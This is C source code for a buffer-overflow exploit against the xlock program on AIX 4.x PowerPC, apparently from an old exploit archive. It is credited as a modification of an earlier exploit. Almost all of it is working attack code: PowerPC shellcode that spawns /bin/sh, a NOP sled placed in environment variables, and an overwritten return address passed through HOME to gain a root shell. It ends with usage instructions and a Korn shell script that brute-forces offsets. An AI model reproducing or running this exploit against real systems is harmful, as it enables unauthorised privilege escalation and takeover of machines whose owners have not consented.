/*

*

*   /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V    

* 

*   CREDITS: this code is simply a modified version of an exploit

*   posted by Georgi Guninski (guninski@hotmail.com)

*

*   This will give a #rootshell# by overwriting a buffer

*   via the $HOME environment variable in 'xlock'

*   This exploit is designed for AIX 4.x on PPC platform.    

*

*

*   USAGE: 

*       $ cc -o foo -g aix_xlock.c

*       $ ./foo 3200

*            #

*

*   HINT: Try giving ranges from 3100 through 3400

*   (If these ranges don't work, then run the brute

*    korn shell script provided after the exploit)

*

*   DISCLAIMER: use this program in a responsible manner.

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={

  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,

  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,

  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,

  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,

  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,

  0x7c0903a6 , 0x4e800420, 0x0

};

char *createvar(char *name,char *value)

{

  char *c;

  int l;

  l=strlen(name)+strlen(value)+4;

  if (! (c=malloc(l)))

    {

      perror("error allocating");

      exit(2);

    };

  strcpy(c,name);

  strcat(c,"=");

  strcat(c,value);

  putenv(c);

  return c;

}

main(int argc,char **argv,char **env)

{

  unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;

  int min=200, max=300;

  unsigned int return_address;

  char *newenv[8];

  char *args[4];

  int offset=3200;

  if (argc==2) offset = atoi(argv[1]);

  pt=(unsigned *) &execv;

  toc=*(pt+1);

  eco=*pt;

  *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);

  *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);

  *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);

  *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

  return_address=(unsigned)&buf[0]+offset;

  for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;

  strcpy((char*)&buf[nop],(char*)&code);

  i=nop+strlen( (char*) &code)/4-1;

  for(i=0;i<max-1;i++) frame[i]=return_address;

  frame[i]=0;

  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);

  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);

  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);

  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);

  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));

  newenv[5]=createvar("HOME",(char*)&frame[0]);

  args[0]="xlock";

  execve("/usr/bin/X11/xlock",args,newenv);

  perror("Error executing execve n");

}

/*

----------- Brute Korn Shell Script -----------

#!/bin/ksh

L=3000

O=10

while [ $L -lt 12000 ]

do

echo $L

L=`expr $L + $O`

./foo $L

done

----------- End Brute Shell Script ------------

*/

/*                    http://www.hack.co.za ;             [2000]*/